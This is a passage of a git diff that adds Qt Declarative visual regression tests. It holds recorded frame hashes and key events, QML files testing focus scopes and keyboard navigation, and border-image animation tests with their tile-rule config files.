msec: 8208 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8224 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8240 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8256 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8272 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8288 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8304 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8320 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8336 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8352 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8368 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8384 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8400 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8416 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8432 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8448 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8464 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8480 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8496 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8512 + hash: "136c689aca9aa0cf957035137a926653" + } + Frame { + msec: 8528 + hash: "b7418e46bca4bc8c953c15b03c23ec89" + } + Frame { + msec: 8544 + hash: "e99575fe130e741f13329704303b76ca" + } + Frame { + msec: 8560 + hash: "a2b7d528f9c145c4db0845bc76b3571f" + } + Frame { + msec: 8576 + hash: "77f8beccd0134b8991ddb2ac92d64ecb" + } + Frame { + msec: 8592 + hash: "fc359bc56852093020084af44987746a" + } + Frame { + msec: 8608 + hash: "9f3479a702bc79062fff916678e974f1" + } + Frame { + msec: 8624 + hash: "55c8c91ff26671f9f3049f1e1aaf5958" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8640 + image: "test3.8.png" + } + Frame { + msec: 8656 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8672 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8688 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8704 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8720 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8736 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8752 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8768 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8784 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8800 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8816 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8832 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8848 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8864 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8880 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8896 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8912 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8928 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8944 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8960 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8976 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 8992 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 9008 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 9024 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 9040 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 9056 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 9072 + hash: "367ee34ab6a6cb0197e064db85638be7" + } + Frame { + msec: 9088 + hash: "c61db7f2c0402a63efe779bec816a7db" + } + Frame { + msec: 9104 + hash: "29d4d2679a502a1cb8a21807c43153c2" + } + Frame { + msec: 9120 + hash: "3f531d4111efbbac256d4281db1fdeba" + } + Frame { + msec: 9136 + hash: "9f343d8b4dc12cc7ab5ae1ff08067baf" + } + Frame { + msec: 9152 + hash: "eb29b7d6ef2b5507425b2c30ddb58fa8" + } + Frame { + msec: 9168 + hash: "883c0d35567deb6de9125441da89a1fe" + } + Frame { + msec: 9184 + hash: "7c25e95ea2b38288b5ba5737108ef5d1" + } + Frame { + msec: 9200 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 9216 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9232 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9248 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9264 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9280 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9296 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9312 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9328 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9344 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9360 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9376 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9392 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9408 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9424 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9440 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9456 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9472 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9488 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9504 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9520 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9536 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9552 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9568 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9584 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9600 + image: "test3.9.png" + } + Frame { + msec: 9616 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9632 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9648 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9664 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9680 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9696 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9712 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9728 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9744 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9760 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9776 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9792 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9808 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9824 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9840 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9856 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9872 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9888 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9904 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9920 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9936 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9952 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9968 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 9984 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10000 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10016 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10032 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10048 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10064 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10080 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10096 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10112 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10128 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10144 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10160 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10176 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10192 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10208 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10224 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10240 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10256 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10272 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10288 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10304 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10320 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10336 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10352 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10368 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 10384 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10400 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10416 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 10432 + hash: "f192b84337784a6d31c309af7e32b5f7" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/test.qml b/tests/auto/declarative/qmlvisual/focusscope/test.qml new file mode 100644 index 0000000..401c7dc --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/test.qml @@ -0,0 +1,76 @@ +import Qt 4.6 + +Rectangle { + color: "white" + width: 800 + height: 600 + + Keys.onDigit9Pressed: console.log("Error - Root") + + FocusScope { + id: myScope + focus: true + + Keys.onDigit9Pressed: console.log("Error - FocusScope") + + Rectangle { + height: 120 + width: 420 + + color: "transparent" + border.width: 5 + border.color: myScope.wantsFocus?"blue":"black" + + Rectangle { + id: item1 + x: 10; y: 10 + width: 100; height: 100; color: "green" + border.width: 5 + border.color: wantsFocus?"blue":"black" + Keys.onDigit9Pressed: console.log("Top Left"); + KeyNavigation.right: item2 + focus: true + + Rectangle { + width: 50; height: 50; anchors.centerIn: parent + color: parent.focus?"red":"transparent" + } + } + + Rectangle { + id: item2 + x: 310; y: 10 + width: 100; height: 100; color: "green" + border.width: 5 + border.color: wantsFocus?"blue":"black" + KeyNavigation.left: item1 + Keys.onDigit9Pressed: console.log("Top Right"); + + Rectangle { + width: 50; height: 50; anchors.centerIn: parent + color: parent.focus?"red":"transparent" + } + } + } + KeyNavigation.down: item3 + } + + Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box indicates active focus\nUse arrow keys to navigate\nPress \"9\" to print currently focused item" } + + Rectangle { + id: item3 + x: 10; y: 300 + width: 100; height: 100; color: "green" + border.width: 5 + border.color: wantsFocus?"blue":"black" + + Keys.onDigit9Pressed: console.log("Bottom Left"); + KeyNavigation.up: myScope + + Rectangle { + width: 50; height: 50; anchors.centerIn: parent + color: parent.focus?"red":"transparent" + } + } + +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/test2.qml b/tests/auto/declarative/qmlvisual/focusscope/test2.qml new file mode 100644 index 0000000..5b6971a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/test2.qml @@ -0,0 +1,40 @@ +import Qt 4.6 + +Rectangle { + color: "white" + width: 800 + height: 600 + + Text { text: "All five rectangles should be red" } + + FocusScope { + y: 100 + focus: true + Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } + + FocusScope { + y: 100 + focus: true + Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } + + FocusScope { + y: 100 + focus: true + Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } + + FocusScope { + y: 100 + focus: true + Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } + + FocusScope { + y: 100 + focus: true + Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } + } + } + } + } + } + +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/test3.qml b/tests/auto/declarative/qmlvisual/focusscope/test3.qml new file mode 100644 index 0000000..a8bb523 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/test3.qml @@ -0,0 +1,52 @@ +import Qt 4.6 + +Rectangle { + color: "white" + width: 800 + height: 600 + + ListModel { + id: model + ListElement { name: "1" } + ListElement { name: "2" } + ListElement { name: "3" } + ListElement { name: "4" } + ListElement { name: "5" } + ListElement { name: "6" } + ListElement { name: "7" } + ListElement { name: "8" } + ListElement { name: "9" } + } + + Component { + id: verticalDelegate + FocusScope { + id: root + width: 50; height: 50; + Keys.onDigit9Pressed: console.log("Error - " + name) + Rectangle { + focus: true + Keys.onDigit9Pressed: console.log(name) + width: 50; height: 50; + color: root.ListView.isCurrentItem?"red":"green" + Text { text: name; anchors.centerIn: parent } + } + } + } + + ListView { + width: 800; height: 50; orientation: "Horizontal" + focus: true + model: model + delegate: verticalDelegate + preferredHighlightBegin: 100 + preferredHighlightEnd: 101 + highlightRangeMode: ListView.StrictlyEnforceRange + } + + + Text { + y: 100; x: 50 + text: "Currently selected element should be red\nPressing \"9\" should print the number of the currently selected item\nBe sure to scroll all the way to the right, pause, and then all the way to the left." + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml new file mode 100644 index 0000000..0ceaf49 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml @@ -0,0 +1,55 @@ +import Qt 4.6 +import "content" + +Rectangle { + id: page + color: "white" + width: 1030; height: 540 + + MyBorderImage { + x: 20; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240 + source: "content/colors.png"; margin: 30; antialiased: true + } + MyBorderImage { + x: 270; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240; antialiased: true + source: "content/colors.png"; margin: 30 + horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 520; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240; antialiased: true + source: "content/colors.png"; margin: 30 + horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 770; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240; antialiased: true + source: "content/colors.png"; margin: 30 + horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round + } + MyBorderImage { + x: 20; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200; antialiased: true + source: "content/bw.png"; margin: 10 + } + MyBorderImage { + x: 270; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200; antialiased: true + source: "content/bw.png"; margin: 10 + horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 520; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200; antialiased: true + source: "content/bw.png"; margin: 10 + horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 770; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200; antialiased: true + source: "content/bw.png"; margin: 10 + horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml new file mode 100644 index 0000000..29c02b3 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml @@ -0,0 +1,55 @@ +import Qt 4.6 +import "content" + +Rectangle { + id: page + color: "white" + width: 1030; height: 540 + + MyBorderImage { + x: 20; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240 + source: "content/colors.png"; margin: 30 + } + MyBorderImage { + x: 270; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240 + source: "content/colors.png"; margin: 30 + horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 520; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240 + source: "content/colors.png"; margin: 30 + horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 770; y: 20; minWidth: 120; maxWidth: 240 + minHeight: 120; maxHeight: 240 + source: "content/colors.png"; margin: 30 + horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round + } + MyBorderImage { + x: 20; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200 + source: "content/bw.png"; margin: 10 + } + MyBorderImage { + x: 270; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200 + source: "content/bw.png"; margin: 10 + horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 520; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200 + source: "content/bw.png"; margin: 10 + horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat + } + MyBorderImage { + x: 770; y: 280; minWidth: 60; maxWidth: 200 + minHeight: 40; maxHeight: 200 + source: "content/bw.png"; margin: 10 + horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml new file mode 100644 index 0000000..9879416 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml @@ -0,0 +1,18 @@ +import Qt 4.6 + +Rectangle { + id: page + color: "white" + width: 520; height: 280 + + BorderImage { + x: 20; y: 20; width: 230; height: 240 + smooth: true + source: "content/colors-stretch.sci" + } + BorderImage { + x: 270; y: 20; width: 230; height: 240 + smooth: true + source: "content/colors-round.sci" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml new file mode 100644 index 0000000..58d03a6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -0,0 +1,38 @@ +import Qt 4.6 + +Item { + property alias horizontalMode: image.horizontalTileMode + property alias verticalMode: image.verticalTileMode + property alias source: image.source + property alias antialiased: image.smooth + + property int minWidth + property int minHeight + property int maxWidth + property int maxHeight + property int margin + + id: container + width: 240; height: 240 + + BorderImage { + id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 + + SequentialAnimation on width { + loops: Animation.Infinite + NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} + NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } + } + + SequentialAnimation on height { + loops: Animation.Infinite + NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} + NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } + } + + border.top: container.margin + border.left: container.margin + border.bottom: container.margin + border.right: container.margin + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png new file mode 100644 index 0000000..486eaae Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci new file mode 100644 index 0000000..506f6f5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci @@ -0,0 +1,7 @@ +border.left:30 +border.top:30 +border.right:30 +border.bottom:30 +horizontalTileRule:Round +verticalTileRule:Round +source:colors.png diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci new file mode 100644 index 0000000..e4989a7 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci @@ -0,0 +1,5 @@ +border.left:30 +border.top:30 +border.right:30 +border.bottom:30 +source:colors.png diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png new file mode 100644 index 0000000..dfb62f3 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png new file mode 100644 index 0000000..9a6b079 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png new file mode 100644 index 0000000..1f960e5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.2.png new file mode 100644 index 0000000..85a2729 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.3.png new file mode 100644 index 0000000..de6ff7c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.4.png new file mode 100644 index 0000000..fe7d3dd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.5.png new file mode 100644 index 0000000..e73bef5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.6.png new file mode 100644 index 0000000..0c75422 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml new file mode 100644 index 0000000..043f5e2 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml @@ -0,0 +1,1823 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 32 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 48 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 64 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 80 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 96 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 112 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 128 + hash: "cd2180be80101c2aa4350b51b7a6f502" + } + Frame { + msec: 144 + hash: "de471829f8ad3b43bf1b4df9d1d65a4d" + } + Frame { + msec: 160 + hash: "ed9f2ca797894612600bc4b7fbaecb84" + } + Frame { + msec: 176 + hash: "59470d71fa4426d0283e86371f2bfc2a" + } + Frame { + msec: 192 + hash: "9a2f92efb51bcc6293d6a8e82d5314ea" + } + Frame { + msec: 208 + hash: "7b66e21652a7d0982226e281a48411a9" + } + Frame { + msec: 224 + hash: "a716c8d2c94433dee719f92f0822c8ec" + } + Frame { + msec: 240 + hash: "f22a47b846cfee96ebdf39bbce2e6d51" + } + Frame { + msec: 256 + hash: "5a8932d13d624932a65694fd19ec05cd" + } + Frame { + msec: 272 + hash: "48e62dd171f5da82b5aa26c765e4042c" + } + Frame { + msec: 288 + hash: "63d3c47f7dec1236440a05e0a8380900" + } + Frame { + msec: 304 + hash: "323af110731b7af0c30f8862ff59b833" + } + Frame { + msec: 320 + hash: "83c029e328e80af83158c37089cf0ece" + } + Frame { + msec: 336 + hash: "3f9a09ae19be34348bb2552915360cf7" + } + Frame { + msec: 352 + hash: "df624d70cae1bcefda8d69c0ff055d83" + } + Frame { + msec: 368 + hash: "d671a3b971468e1d8aa30ab655e020a9" + } + Frame { + msec: 384 + hash: "74c837b29f7f05b615123f0e608b523f" + } + Frame { + msec: 400 + hash: "277ef98ea859fb7685fe6cd44a538a7d" + } + Frame { + msec: 416 + hash: "0a8da7a3f57c3e06e4be5ea1d8a83ae9" + } + Frame { + msec: 432 + hash: "456be9c208d690c479ba12bf6325dde0" + } + Frame { + msec: 448 + hash: "10307beea6d99ab0ff5863f8e35555ed" + } + Frame { + msec: 464 + hash: "170a1d5fe3422cf5223a78015a6a45fd" + } + Frame { + msec: 480 + hash: "64ecb03aa538e74d0b99c6dec7751401" + } + Frame { + msec: 496 + hash: "f3a7e74a1839f9366f9eeec4d2b80d1e" + } + Frame { + msec: 512 + hash: "37c3f25e5cfdb48d7e3ab0cf8ffb9154" + } + Frame { + msec: 528 + hash: "0af81ee0d76ff8335a0e347dc086ca37" + } + Frame { + msec: 544 + hash: "061406edcbd2d4930ab89c3fcab63c7f" + } + Frame { + msec: 560 + hash: "31d65134f340d82dd40f2401bda3fb7e" + } + Frame { + msec: 576 + hash: "16c16c77c65b36d1e0954d5ead2642be" + } + Frame { + msec: 592 + hash: "61c16009b65a55bffb63e27727e1615e" + } + Frame { + msec: 608 + hash: "e1474c2cdd8768ca1ef45bf3bc5234ca" + } + Frame { + msec: 624 + hash: "89c159ef00d273ecfe61332e1bf7244d" + } + Frame { + msec: 640 + hash: "f4d0d3bca25e67908b38910f47b4757e" + } + Frame { + msec: 656 + hash: "0e0c40f8e11a7bd499c80562ac6f8a82" + } + Frame { + msec: 672 + hash: "4310a4c3037d845f088f21ad608f366a" + } + Frame { + msec: 688 + hash: "3d518cd0348d6202243364af1dd6ce89" + } + Frame { + msec: 704 + hash: "41987e6b4248d7944c0dbc6eb3862023" + } + Frame { + msec: 720 + hash: "3e81338d38723d56f2d6c428271f81c1" + } + Frame { + msec: 736 + hash: "902683d72f789399e9d99d1cea1bf177" + } + Frame { + msec: 752 + hash: "efc119983701908a904deb24108c59cb" + } + 